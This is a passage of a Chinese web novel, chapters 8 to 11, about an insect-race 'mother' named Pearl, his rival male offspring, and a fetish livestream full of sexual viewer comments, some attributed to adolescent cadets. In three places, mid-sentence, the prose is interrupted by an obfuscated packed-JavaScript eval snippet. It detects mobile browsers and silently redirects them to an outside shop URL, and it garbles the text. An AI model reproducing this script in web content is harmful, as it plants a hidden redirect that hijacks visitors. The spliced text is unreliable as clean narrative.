才到新领地没多久的虫母此时很抗拒遇见陌生人,陌生就代表着不清楚有没有危险,珀尔肚子里还怀着卵,他要更加谨慎。 房间里的大物件已经被虫母用气味腺蹭上自己的标记了,在珀尔眼里,这就是他的领地了。房间里是安全的。 珀尔贴着门板听了一会,没有人走动的声音,他这才偷偷打开门,像抓老鼠的谨慎猫咪一样溜进淋浴间。 几乎是在他进入淋浴间的后一秒,就冒出来几只雄虫。 【妈咪去洗澡了。】 【想看妈咪洗澡,妈咪为什么不能开着直播洗澡呢。】 【不对啊,我们不是在妈咪身边吗,为什么不能进去帮妈咪清洁身体。】 【想跳过王虫直接侍寝,这只虫你好勇,你会被戴维德撤掉侍寝资格的。】 【感觉戴维德可能会直接把你撕了,他不会允许妈咪在这个时候把另一个孕囊填满。】 【不在巢穴里的妈咪怀满一只已经很辛苦了。】 珀尔对这些一无所知。 改造过后的虫族脑电波互通,而兰伯特设置的时候虫母是有控制权的,只是珀尔还没回到虫星接受那份唯一的核心,暂时感应不到这些虫子的存在。 他只能用信息素来寻找自己的孩子,这些坏心眼的却把信息素收得严严实实的。 珀尔打开花洒,水汽模糊了周围的玻璃和瓷砖,温热的水流落到光滑白皙的肩膀上,又慢慢往下滑。 纯白的发丝被打湿,黏在雪白的脖颈上,毛茸茸的脖领子毛也湿得一缕一缕的。 珀尔往这些毛毛上打了一层沐浴露,不多时便揉出绵密的泡沫。 虫母心情很好的哼起歌来。 “吱呀”一声,淋浴间的门被打开,男人的脚步声响起。 珀尔没想到自己运气这么不好,昨天明明都没有人来的…… 他轻轻呼吸,动作也轻手轻脚的,尽可能降低自己的存在感。 珀尔安慰自己,没关系的,不一定会来他这边,这里有这么多淋浴的隔间,怎么会那么巧就在他旁边洗呢?肯定不会的。 那男人却好似有目标一样,直直朝他这边来。 珀尔:“!” 干什么!怎么朝他过来了! 那脚步声越来越近,最后在珀尔隔壁的隔间戛然而止。 珀尔紧张兮兮盯着隔间门口的帘子,还好,那人好像只是想在隔壁洗澡,没有朝他这个隔间过来。 珀尔松了一口气,他转过身把脖领子上的泡沫冲掉。 这时,一只滚烫的手掌覆在珀尔光洁的后背上。 “你,你是谁……”笨蛋虫母不敢回头,可怜兮兮缩着身子一点一点躲开那手掌。 8. 第 8 章 “是我。”戴维德的声音一出来,珀尔莫名松了一口气,他放松下来。 “你怎么一开始不出声音,吓我一跳。” 或许是因为初入安全区的那次检查,虫母对戴维德没什么警惕性。 甚至因为王虫的影响,即使王虫的信息素虽然已经收敛,但还是能对虫母起到安抚作用。 珀尔自己没有发觉到,但戴维德却能感受得清清楚楚。 ——戴维德的身上也已经被虫母本能地蹭上自己的气味。 这一认识让戴维德忍不住愉悦地动了动瞳孔,椭圆形的纯黑复眼控制不住地探出来两秒,又被戴维德硬生生压制回去。 想用尾巴圈住妈妈的肚子,想故意把尾巴上的骨刺露出来吓唬妈妈,让妈咪只能可怜兮兮待在他的身边。好好惩罚一下偷偷离开他们的妈妈。 把妈妈吓得带着哭腔叫他的名字,戴维德就会温柔地抱住妈妈一点一点耐心哄。直到妈咪被哄好了,他的怀里也全是虫母身上甜香甜香的味道。 从戴维德的视角能看见珀尔仿若水洗过的白瓷一般的侧脸。虫母浑身的体毛都是纯洁的白色,衬得他更像精致的瓷娃娃。 虫母无知无觉地在这只雄虫面前哼着哄孩子时爱唱的小调,对戴维德的肮脏心思丝毫不知。珀尔打开花洒,把身上的泡沫冲洗干净。 珀尔是很有母性的妈妈,他喜欢亲自喂孩子们破卵后的第一顿蜜汁,轮番把吃饱的孩子抱在怀里轻拍哼着歌哄睡。 那小调是虫母自己想的,也只有他哼起来才好听,珀尔离开的这些年,戴维德再没有听过妈妈的歌声。 现在忽然听见,戴维德一时间居然有些恍惚,他站在门帘后,只有一只手碰到了妈妈。 浴室里的雾气模糊了珀尔的身影,连白色的睫毛上都挂着水珠,湿答答的黏连在一起,漂亮精致的眉眼潮湿。 整个空间里全是珀尔身上的味道,怀着卵的虫母已经开始储存喂养孩子的蜜汁了,那原本只有一点弧度的软处此时可以用手拢出一道浅浅的沟。 珀尔那头柔软白发被水浸润湿透后像绸缎一样透着莹润的光泽。他把略长的、搭在后颈上的发丝拨到胸前,露出光洁的后背。“帮我擦一下后背,毛巾在旁边的篮子里。” 在巢穴里的时候,珀尔洗澡是要很多雄虫围着帮忙的,戴维德通常是帮他揉头发的那一只。 戴维德眼角微微下压,黑沉沉的眼瞳定定盯着雪白的虫母。他应了一声,掀开帘子钻了进去。戴维德拿起旁边篮子里的毛巾,轻轻擦着。 靠得越近,虫母的味道就越浓郁,甚至因为离开了自己熟悉的领地,虫母身上的味道也更加甜腻,这味道里带着召唤雄虫来保护自己的信息素。 珀尔听见身后的人闷哼一声,他侧过脸,有些担忧,“怎么了,是不是磕到了?” 浴室里的雾气实在有点阻碍视线,戴维德又躲到阴影里,珀尔一时间居然看不清对方的状态,这让本来就心软良善的虫母有些着急,“你过来,让我看看,是不是碰出血了啊?怎么有一股血腥味。” 虫母下意识地把他当成自己的孩子了,可能和之前标记领地时往戴维德身上蹭的气味有关,反正珀尔嗅到血腥味的时候心脏就像被一只无形的手掌攥紧了。 戴维德深吸一口气,“……没事,手上有个小伤口,已经包扎过了。” 实际上,躲在阴暗里的雄虫有些狼狈地把手臂藏到身后。 ——戴维德手臂的外侧骨刺正凸出来泛着寒光。 骨刺硬生生撕裂开手臂上的皮肤,此时正狰狞地竖着。 “是不是沾到水了啊,我看看。”珀尔草草把头发擦干,眼看着就要碰到戴维德的手臂。 戴维德狼狈捂住自己的手臂,急匆匆就要走,“我自己重新包扎一下就可以,不用麻烦你了。” 珀尔拧着眉头不赞同,“可你也是为了帮我才这样的,总要让我做点什么吧。” “毛巾。”戴维德隐藏在阴影下的眼睛已经是全黑的了,椭圆形的纯黑复眼朝外凸出,几千只骨碌碌转的小眼睛里全是珀尔的身影。 珀尔没听清,“什,什么?” “毛巾,你的那条毛巾,可以给我吗。”戴维德马上就要压制不住自己了,他是王虫,是虫母最忠诚的孩子,也是虫母最得力的下属。 他把一切都替珀尔安排好,替虫母制订出适合的、能安抚那些疯狂的雄虫的计划。却独独忘记了,他自己,也一直处于疯狂的边缘。 妈妈重新回来了,但他的生命却即将走到尽头。戴维德高估了自己的耐力,他脊柱上的骨刺也冒了出来,皮肉撕裂的声音在浴室里能听得一清二楚,血腥味越来越浓。 珀尔把自己的毛巾递过去,递的时候不小心在戴维德的手腕上蹭了一下,“这条,可以吗。” “可以,谢谢。”……妈妈。 戴维德急匆匆离开了。 珀尔把自己的东西收拾好也回到自己的房间,关上门后,他才倚着门轻轻张开紧攥着的手心。 ——是一滴蜿蜒到手腕,又被珀尔趁机接住的血。 珀尔一开始还有些迟疑,但他又想起自己翅膀根部残留的雄虫信息素,那天只有戴维德进入过他的房间。 而且刚刚在浴室里,他的确闻到了熟悉的信息素味道,跟他的王虫孩子很像。虫母已经百年没有闻到孩子信息素的味道,但他还是能记得。 珀尔慢慢把手心凑到鼻尖下,他鼻翼轻轻动了动,嗅闻着那血液里可能残留的信息素。 只有极其浅淡的一点血腥味,其余什么都没有。 这一切都被房间里的几枚闪烁着的红点尽职尽责记录着。 兰伯特结束了虫星方面送来的公务和几个通话请求。 戴维德过来的时候连脸上的黑色甲壳都裸露出来了。他是从秘密通道过来的,没被任何虫子看见。 “要不是我提前在你的皮下备了血包,你今天就要被妈妈发现了。”兰伯特关掉监控,但戴维德还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751286|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看见了一闪而过的画面。 他眯起眼睛,“你在偷窥虫母。” “别用这样的眼神看我,你现在跟虫星的劣等虫也没什么区别了,如果你想就这样出现在妈妈面前,你可以接着用王虫的身份压制我。” 兰伯特这时已经丝毫不畏惧戴维德的警告了,他给戴维德注射了一针淡金色针剂。 “王虫阁下,这药可以保证你半个月不再出现任何状况,你可以维持在妈妈面前最后的体面了。” 戴维德黑沉沉的眼瞳死死盯着那张跟自己一模一样的脸庞,这只野心勃勃的雄虫,比他年轻,比他更有手段,也有跟他相同的弱点。 虫母,他们唯一的母亲。或者也可以说,是全虫族的弱点。 他们偏执、疯狂,哪怕虫母说要吃掉他们,这些雄虫也会争先恐后把自己掰碎放到珀尔嘴里。 但珀尔从来没这样对待过他们,把这些虫子惯得不成样子,反而让雄虫之间的斗争更加激烈。虫子不会满足,不彻底成为唯一,这种斗争就会永不停歇。 恰好,虫母的王虫衰弱,而兰伯特又恰恰处于巅峰期,他觉得自己胜券在握,已经不自觉地开始挑衅起戴维德。 而这样的虫子如果当了王虫,戴维德即使重新被妈妈生下,也绝对不会再有任何机会靠近虫母。 戴维德抿了抿嘴唇,不知道在心里决定了什么,什么也没说就离开了。 兰伯特也不在乎,他手下帮妈妈训练着舰队,研究又有突破,妈妈一定会选他的。 至于戴维德。兰伯特眯了眯眼睛,对戴维德的嫉妒已经累积到一定程度,他会让妈妈忘记戴维德的。如果戴维德那批卵刚好没能孵化出来的话…… 虫族每批卵都会有劣等的,甚至无法孵化出来,兰伯特不介意让戴维德成为其中的一员。 与此同时,虫星某论坛上,由加登·欧文发起的投票已经火热开始。 【标题:虫母的明日直播穿搭投票。】 【选项A:雪白毛绒精灵套装】 【选项B:浅灰色妈咪蕾丝短裙】 【选项C:粉色蓬松裙摆公主裙】 【选项D:黑红色魅魔套装】 【选项E:黑色胶衣】 军校里的年轻雄虫凑到一起,房间里全是雄虫信息素的味,处于青春期爱幻想的虫子们脑子里已经把珀尔YY了好几遍。 “我不行了,选A。不对,选B。不对,选C。不对,选D。不对,选E!怎么往下划一个爱一个,每一个都好适合妈妈!” “感恩,妈妈穿哪个我都幸福死了。” “妈妈是要开始玩那个游戏了吗,太好了,我们小组参与了一个结局的设计。四舍五入等于妈妈玩我了,好幸福!” “白日梦患者的意愿我收到了,一会有专虫去了解情况,您看直接枪毙可以吗。” “胶衣啊啊啊啊!我要看胶衣,把妈妈身上都裹得清清楚楚的,什么都看得见,prprprpr…” 9. 第 9 章 “大家好,今天给大家直播玩这个游戏。”珀尔的摄像头朝向电脑,上面是加登给他的那个游戏。 ——《繁育》 珀尔给大家展示后,又重新把摄像头对着自己: 青年雪白柔顺的头发被绑在一侧扎成一个小揪,白皙修长、线条美丽的半截脖颈露了出来,剩下的部分全被包住。 再往下,则是一身黑色的、在昏黄的灯光下反射着光亮的胶衣。 本来应该是连脖颈都包住的,但加登耐不住虫母的撒娇讨价还价,最后还是换成了从喉结开始往下包的胶衣。 当然,珀尔的愿望实现了,那虫子们也该得到一些什么。所以,珀尔不能单单坐着给大家直播,还要站起来展示。 【我不行了,鼻血哗哗流,要妈妈哄我才能好。】 【妈妈,说好的要给大家站起来展示的,不能想着坐着撒娇就混过去。】 【!我错过了什么,机甲课才下,妈妈怎么穿了胶衣啊啊啊啊啊!】 【可怜的军校生。】 【妈妈站起来给大家看一下吧,求求了求求了……】 珀尔抿了抿嘴唇,将原本就红润的唇瓣摩擦得更艳。直播间里的观众一口一个妈妈,虫母却一反常态没什么动作。 【妈妈怎么了,实在不喜欢的话,不看也行。我们没想逼妈妈的……】 【对不起,妈妈别哭啊,我不该发弹幕YY妈妈,我有罪啊!】 珀尔只是低下头看了看自己的胸口,并没有哭,他赶紧摆摆手,“可以看的,说好的事情不会反悔的,没有生大家的气。” 虫母只是没有想到,被这些观众叫妈妈,自己居然也会……出蜜汁。 可能是离开孩子太久了,这些观众的性格又跟他的孩子们好像,有几个观众打字发弹幕的习惯差点让珀尔以为那就是自己的孩子呢。 没关系的,只要他好好玩游戏,通关了就可以让加登发星际通讯,他的孩子们就会找到他了。 珀尔想到这果断站了起来,椅子被丰腴的大腿往后推了一截。 虫母修长美丽的、被胶衣包裹勾勒出的躯体线条瞬间完完全全暴露在镜头下。 珀尔很认真地给大家展示,在巢穴的时候他也经常给幼虫上生理课,虫母一向是裸露的、展现的。明明有着一张青涩漂亮的脸蛋,展示自己的动作却这样熟练。 眉眼间不自觉弥漫上浓郁的妈咪味,似乎真的在跟自己的孩子讲解自己的身体,悲悯、慈爱。 珀尔在镜头前转了一圈,胶衣把他裹得紧紧的,这样的包裹感让虫母想起了他在卵里的感觉。虫母是如何诞生的直到现在也很难得出结论,没有规律,没有预兆。 只是在某一天,虫族依旧哀伤地呼唤母亲,然后珀尔就降临了,他开始有了耳朵,有了鼻子,有了眼睛,有了能感受到四周的能力。 他是为了虫族而来的,在最早的、有关虫母的记载上说:珀尔在天上看见虫族受苦,心有不忍,于是愿意从柔软的云端上下来,变成他们的母亲。 他不是上天赐予虫族的礼物,妈妈是自己跑下来的,心甘情愿成为他们的虫母。 虽然在这次全族改造后,虫母的基因不再能影响虫族的基因,整个虫族都变成了同一个意识体,他们的轮回不再是死亡就彻底失去,而是会在出生的几年后,激活意识体里的某一处,重新把自己的记忆捡起。 虫母还是照常孕育他们,但虫子都清楚,他能避免在漫长的生命里一次又一次经历分离。 没有虫子后悔,这样的改造放在其他任何一个族群里都不会被接受,这意味着他们失去了自己,失去了所有能证明他们是单独个体的东西。但他们还是心甘情愿地变成一整个。 当年在虫星论坛里最火的一个帖子是: “如果有一种办法能让虫母不再经历痛苦的离别,但是要让所有的、包括没被虫母临幸过的、甚至可能不知道他长什么样子的虫子都付出惨痛的代价,你们会怎样选择。” 两个选项栏是同意和不同意,没有虫子去选,他们只是看了看,就又划到下一个帖子了。 虫子都清楚,这种问题根本不需要答案,在看见前半句的时候,已经没有任何一只虫子反对了。 能让妈妈不再经历痛苦,就已经足够让所有虫子都心甘情愿的付出。 对的,他们的眼光在珀尔离开的那些年里变得长远起来,他们考虑到了如何找到珀尔,也有虫子开始考虑如何解决珀尔离开的根源。 他们反复观看珀尔为死去虫子滴落泪珠的视频,最终做出了一个全族都会付出代价的决定。 太好了,以后死亡的时候,看见妈妈哭,可以这样安慰他,“没关系,妈妈,我会重新回来,是带着记忆的,是你熟悉的我。” 戴维德在珀尔隔壁,身上的伤已经包扎好了,房间里黑漆漆的,只有显示屏的一点光亮。 他轻轻碰了碰屏幕,无声地叫了一句妈妈。 加登已经跟他联系过了,戴维德决定支持加登当选王虫,兰伯特虽然哪里都好,但还是太年轻,嫉妒心过强。 如果兰伯特当了王虫,那这百年虫族做的一切将会功亏一篑,戴维德不是对自己的重要性有信心,他是对心软的虫母太过了解。 哪怕被兰伯特阻碍着导致原本可以降生最后却夭折的虫子是虫母没印象,甚至是没见过的虫子,只要珀尔知道了,他就一定会伤心。 最坏的后果便是这可怕的百年会重新上演一次。 戴维德不会允许这种事情再次发生了,他有私心,他想再次回到珀尔身边。 加登这人虽然基因不好,但是不会像兰伯特那样偏执,太聪明但无法控制自己的虫子是不能当王虫的。 屏幕上,珀尔在给大家介绍自己腿上鼓起的一圈东西。 虫母很认真仔细,他发现了弹幕上的疑问,于是拉开腰侧的拉链,把腿上绕着的尾巴用手轻轻拉了出来。 尾巴也是白的,细细的一根尾巴刚好可以绕大腿一圈,尾巴尖的部分是扁扁的倒三角形状,跟翅膀一样有着白色的绒毛。 虫母心情不好的时候会用尾巴抽虫子的虫肢,力道像小猫抓一样,对皮糙肉厚的雄虫来说算不上疼。但他打完总是会补偿虫子,是心软的虫母。 “对的,尾巴可以盘在腿上,我平时就是这样收着尾巴的,否则我的裤子就要给尾巴开一个洞了,有点冷,我不喜欢。”珀尔微微抬起下巴尖,他觉得这里应该被夸,多聪明的收纳方式啊。 【妈妈好聪明,这样收尾巴超级方便!】 【我不行了,嗦嗦妈妈尾巴根,尾巴根居然也有白色的可爱毛毛,感觉凑上去脸会痒痒的。】 【谁懂啊,妈妈好认真,感觉问什么都会答。】 【我刚刚的问题就没回答。】 【哥们我都不想说你,你那什么问题,什么叫“妈妈你*什么颜色的”。】 【来人,枪决他,这还用问吗,肯定是粉的。】 【可能妈妈没看见吧,感觉妈妈不会在意这种问题,说不定直接就给大家看了。】 【笨笨妈咪。】 弹幕实在是太多太快了,各种各样的礼物特效从开播开始就没停过。 珀尔索性就看见哪条回哪条,他又在原地转了一圈,虫母美丽的身体已经被胶衣全方位展示了一遍,浓郁的黑色衬得珀尔更白了。 这样就导致他只要多出来一点颜色很快就会被人发现,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751287|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时珀尔雪白的脸颊肉泛起了粉。 【妈妈的脸粉了……】 【救命啊我已经流了三次鼻血了。】 【加登:妈妈是不是热了,要不然换其他衣服吧,我们看过了也可以算妈妈过了。】 【对对对,我们看过了就可以啦,妈妈很棒!】 珀尔弯了弯眼睛,笑起来像小月牙,“没关系啊,我还挺喜欢的。” 【不难受就好!难受了可以直接说换掉的!】 虫子在找到虫母之前说的凶,在找到虫母初期也都嘴硬,但都现在了,妈妈活生生站在他们眼前了,说话软软的、温温柔柔的。 本来就是能为了虫母改造整个种族的一群妈宝虫,自然已经把之前的话抛之脑后。 “好了,我们现在开始玩游戏吧,我还是很期待这款游戏的,看起来很有意思。”珀尔对《繁育》的好感度很高,游戏里的主角终极目标就是要繁育出一个种族,他也是爱自己的种族的。 虫母对跟自己志同道合的生物没有丝毫抵抗力。 珀尔兴冲冲打开游戏。 没有选择人物的页面,珀尔似乎已经有了账号,估计是加登给他注册的,id是“珍珠”。 系统显示连角色都选好了,是一个浑身都是白的、眼睛是亮晶晶的淡金色的小人。 珀尔尝试着操纵了下,那小人就跟着他的操纵跑来跑去,累的时候还会可怜巴巴看向珀尔的鼠标箭头,他忍不住笑了一下,“还怪可爱的。” 【我不行了,谁设计的妈咪形象,赏黄金万两!】 【萌,妈妈萌,只要跟妈妈沾边的东西都好萌!】 【珍珠呜呜呜,是加登阁下起的id吧,是妈妈的小名呜呜呜……】 【 珀尔这时已经沉浸式玩游戏了,根本没空看弹幕,他认真选择着。 “嗯……是选这个红色的壳,还是这个金色的壳呢?” 人物的卵壳颜色会有一定的技能加成,但这两个颜色的壳底下没有解释说都是什么加成啊。 珀尔有些苦恼,他想起来自己是在直播,眼睛一转就要让弹幕替他做决定,“你们帮我选吧,是红的还是金的?” 【嘶……为什么感觉选错了妈妈会哭。】 【太邪恶了吧,我们妈妈才不是这样笨的妈妈,他肯定不会哭,就是会垂下眼睛不说话。】 【更可怕了好吗。】 【之前说参与设计的那几个呢,快出来支援。】 珀尔弯着眼睛笑了,“逗你们的,不会让你们选的,嗯……我喜欢金色,我的眼睛也是金色的,我要选它。” “咔嚓”一声,电脑屏幕上代表珀尔的小人从金色卵壳里钻出来,浑身还是湿漉漉的,就先张开嘴自己咔嚓咔嚓把壳吃掉了。 “啊,是这样获得加成的吗,好厉害。”珀尔迫不及待点开小人头顶代表加成的标签。 【这是一个属性加成,恭喜您,本次生命的加成为:爱。】 【您从一只小人进阶成了懂爱的小人,您听见了带着爱意的呼唤,于是您决定,要把同样热烈的爱回馈给他们。】 珀尔很喜欢这个加成,他哼起小调,控制着小人接着做任务。 很快就搭出一个临时的庇护所,他决定在原地休整一晚,明天就去找呼唤他来的那些声音。 珀尔快进了,一晚很快过去,只是旁边的草丛里时不时就有亮晶晶的眼睛盯着他,一会又消失了。 有眼睛看他的时候,通常还会有翘起的骨质尾巴。 跟虫子的尾巴好像哦,珀尔想象了一下孩子也变成像素小人的样子,他忍不住笑了一下。 肯定也跟他的小人一样会跟着鼠标箭头哒哒哒的跑。 10.第 10 章 两头身的雪白小人团成一团,纤细的尾巴绕在大腿上,勒出一圈软肉,尾巴顶端是倒三角形状的,此时正紧紧贴在需要被衣料遮蔽的隐私部位。 小人才刚从壳里钻出来不久,身上没有布料遮挡,好在珀尔控制着鼠标艰难生起一个小火堆,让雪白小人把身上烤干了。 这一晚上草丛里就没安生过,一直不停地有猩红色的眼睛偷偷窥伺雪白小人。 【原来妈妈最开始是这样出生的,连衣服也没有啊。】 【有点嫉妒。】 【我想要小妈咪形态的玩偶啊啊啊!谁来做点周边。】 【可怜的宝宝妈咪,怎么第一天晚上住在这种地方,他应该被金银珠宝簇拥着、绫罗绸缎堆砌着,我的妈咪啊!】 【哎?我看见妈妈后背上的小翅膀了,现在还是两个小包哎,翅膀还没长出来吗?】 【好可爱好可爱好可爱,妈妈我太爱你了。】 弹幕混乱着,说什么的都有,直播的手机屏幕上乱糟糟的,一大群字飘过去了,下一批字又来了。 珀尔感觉他们像自己昨天晚上偷偷在电脑玩的那个小游戏里的npc,会有大字在旁边提示:一大批弹幕即将来袭! 然后这些弹幕就摇摇晃晃走过来了,从绿色的格子里慢吞吞走过去,珀尔要保护好自己的脑子! 珀尔想着想着就弯起眼睛,不知道自己又多想象了些什么。 虫母其实很喜欢这种氛围,吵吵闹闹的,大家都好活泼。 在巢穴里的时候,他就喜欢倚在软榻上,看着底下的孩子们熙熙攘攘的,看起来很和睦呢。 【妈妈在想什么?好像很开心。】 【跟我们分享一下吧。】 【想听,妈妈看见什么了,为什么忽然这么高兴。】 【妈妈笑了,好漂亮……】 青年雪白柔软的发尾妥帖地垂落颈侧,先前扎起来的那一缕头发已经松了,轻轻贴着修长美丽的脖颈。 他浑身都是粉白的。此时珀尔穿着亮面黑色胶衣,又这样眉眼弯弯朝着摄像头笑,柔软的妈咪味和过分艳丽的美貌揉杂在一起,混合成一种独属于虫母的、妈妈的味道。 后背上的翅膀也被胶衣紧紧箍着,还好翅膀并不算大,只是紧贴着虫母洁白的后背。毛茸茸的雪白脖领子一半在衣服底下,另一半则是像这胶衣的毛领一样围在脖颈上。 珀尔的眼睛形状偏圆,只有眼尾是上挑的,现在这样弯着眼睛、用手撑着下巴轻轻歪着头笑显得微微泛着红的眼尾像裹着蜜糖的勾子,已经不知道勾去了多少年轻力壮虫子的心。 【我不行了,妈妈别勾我……】 【要鹿出火星了救命!】 【妈妈看起来是那种很会怀卵的妈妈,感觉妈妈的小口袋温温热热的啊啊啊啊啊!】 弹幕一瞬间又涌了上来,看得珀尔眼花缭乱,他的手机被戴维德修过一次之后好像好用了很多,现在这样都没有很卡。 既然不会卡也不会忽然黑屏,珀尔也就不管他们发弹幕了,他轻轻用手指肚在摄像头上点了点,好像隔空摸了虫子们的头。 但其实虫母只是想起了那款保护脑子的小游戏,珀尔眉眼弯弯,笑起来唇红齿白的。 弹幕不停地问为什么笑,吵着闹着要珀尔分享。 珀尔浅金色的眼眸动了动,“没什么啊,只是跟大家聊天很开心而已。” 虫母不想把自己的恶趣味说出来,这样软声哄人温温柔柔的,“跟大家在一起很开心,你们很有趣。” 珀尔一边说着话,一边在心底偷偷用窝瓜砸碎一只弹幕僵尸。 【!】 【妈妈说跟我在一起很开心……不好意思了大家,我又幸福了。】 【眼瞎就去治,‘大家’认识这俩字吗?】 【感觉妈妈不是因为这个才笑,但是妈妈都这样哄我了,哼哼哼。】 【我不行了,刚刚上机甲课手机上交了,我又错过了什么,是妈妈说喜欢我们吗!谁有录屏啊啊啊啊。】 【看见了没,这就是机甲牲的日常,除了课就是课(泪目】 珀尔的脑子被弹幕僵尸吃掉一回后,他摇摇头,不能再想了,专心玩游戏。珀尔重新把注意力放到电脑屏幕上。 《繁育》的地图很大,珀尔现在才开了百分之二,白天的繁育世界似乎没有晚上那么危险,而且温度很舒服。珀尔的小人在屏幕里伸了个长长的懒腰。 跟随着游戏指引,珀尔现在的任务就是要去找到呼唤他来到这个世界的声音,成为他们的母亲,领导并壮大这个族群。 白天的视野很好,珀尔操纵着雪白小人把周围探索了一遍,地图开拓至百分之十。他还找到很多鲜艳的果子,火红火红的、一簇一簇的看起来很好吃。 只是周围的草丛总是会时不时发出异响,伴随着声音还有几枚游戏特效叶子掉落。 找了一圈也没再听见那熟悉的呼唤声音,反而是周围多了野兽的吞咽声和低低的嘶哑声音。 珀尔拧起眉头,他觉得自己应该弄点防身的武器,比如木棍、石头什么的,要是有野兽过来想吃他,他就可以砸过去。 还没等他去捡石头,草丛里就有东西窸窸窣窣钻了出来。 珀尔:“!” 完蛋了完蛋了,不知道果子砸出去伤害高不高啊!他不会第一局游戏就要结束在野兽嘴里吧QAQ 那东西跟小狗一样在原地抖了抖身上的树叶,把自己打理得干干净净,然后才期期艾艾凑了过来。 珀尔眯起眼睛,这才看清它的样子: ——是一只拥有着黑色外骨骼的虫族,它的虫肢修长锋利、仿若尖刀,节肢组成的骨质尾巴狰狞地延伸翘起。椭圆形的漆黑复眼骨碌碌转着。 它往雪白小人身边凑了几步,见对方没有逃开,又高兴地紧贴了过来。 珀尔在屏幕外有些惊讶地微微张着嘴,他下意识舔了舔嘴唇,红润的唇瓣被裹上一层晶亮。 怎么可能呢……珀尔不会认错自己孩子的虫形,每一只孩子都是被他废了好大劲才生下来的,每一只孩子的虫肢从柔软到坚硬都被他抚摸亲吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753418|189997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过。 现在屏幕里这只Q版虫子,就是他的孩子,而且是他很久很久之前的孩子,现在那只孩子已经死去又被生下成为他的王虫了。 “戴维德·凯里……”珀尔自己念叨着,这只孩子他印象很深,因为他是自己现在的王虫。 怎么会这样呢,明明这只是一个游戏,为什么他的孩子会在里面。珀尔抿了抿嘴唇,将原本就红润的唇瓣摩擦得更艳。 “……会是,巧合吗?”珀尔隐隐约约猜到些什么,但很快又否定了,此时没有其他办法去验证这些猜想,珀尔也只好接着玩游戏。 【我不中了,心理委员,我需要心理委员,谁设计的游戏,为什么还有他,我要闹了。】 【反对这个家伙独裁专政!妈妈是大家的!】 【我要闹了我要闹了!】 Q版虫子跟雪白小人贴在一起,头上冒出一个小小的对话框,不停地刷新着省略号。 这是即将说话的意思。 珀尔期待地看着屏幕,孩子会说些什么呢,他的孩子…… 戴维德:“[爱心/]喜欢!” 小虫子头上多出一个鲜红鲜红的爱心,看起来很喜欢自己旁边的雪白小人。 【呸!卑鄙!】 【呸!下流!】 【呸,反正呸!呸什么别管!】 珀尔轻轻侧过脸,弹幕还是跟之前一样刷个不停,他看得眼花缭乱,只依稀看见一两条讨厌这只虫子的弹幕。 他声音轻轻柔柔的,“为什么讨厌他呢?他没有做什么坏事啊。” 【就是讨厌,被偏爱的孩子就是讨厌。】 【看着就烦,这些虫子真让人嫉妒啊啊啊!】 【妈妈青涩的时候、成熟的时候他们都看过,不行,更嫉妒了。】 珀尔实在是看不清这些弹幕,但他想了一会,还是跟大家说,“希望大家不要在我的直播间发表攻击任何人和事物的弹幕哦,我不喜欢。” 根本不需要更多的话语,珀尔的直播间榜一加登已然担任起管理员的责任,把一些账号踢出去并禁言。 加登曾经是坚定的反王虫主义者,而现在,已经不一样了,这一任王虫即将卸任,如果真的能轮到他…… 加登已经不自觉地把自己放在了王虫的位置上,成为妈妈衷心的狗和好用的利刃是王虫的职责。 在加登疯狗一样的清缴后,珀尔没再看见他不喜欢的弹幕,他很开心地点点头,“大家超级棒!不可以随便攻击别人,我们接着玩游戏吧。” 虽然虫母还不知道看自己直播的是他的孩子们,只是隐隐约约觉得不对劲,但还是下意识用母亲的口吻跟他们说话。身上一股妈咪味,说话温温柔柔的但坚定、不容拒绝。 虫星那些从小没被妈妈教育过的虫子也下意识听从珀尔的话,一点违背的心思都不敢有,在珀尔发话后还蹦哒的都是一些脾气乖戾的扭曲强大劣等虫子,也已经被加登用雷霆手段压了下来。 好像这漂亮又温柔的虫母生来就应该是妈妈,唯一的妈妈,唯一的母亲。 11.第 11 章 “您的降临,是整个虫族的荣幸。” Q版的戴维德形象绕着珀尔转了一圈,长长的骨质尾巴弯曲成S形轻轻落在雪白小人的手边,这是虫族最高级别的欢迎礼节。 珀尔弯了弯眼睛,很熟稔地接过那一截冰冰凉凉的尾巴尖,戴维德的复眼忍不住颤动起来,珀尔把尾巴尖送到唇边。 轻轻吻了一下。 【我不活了。】 【那还说啥了兄弟们,一二三跳。】 【小妈咪……好不乖啊,嘬烂你。】 【等回到**就让妈妈这样亲我们的**,让妈妈轮流坐在我们脸上。】(该用户已被管理员禁言) 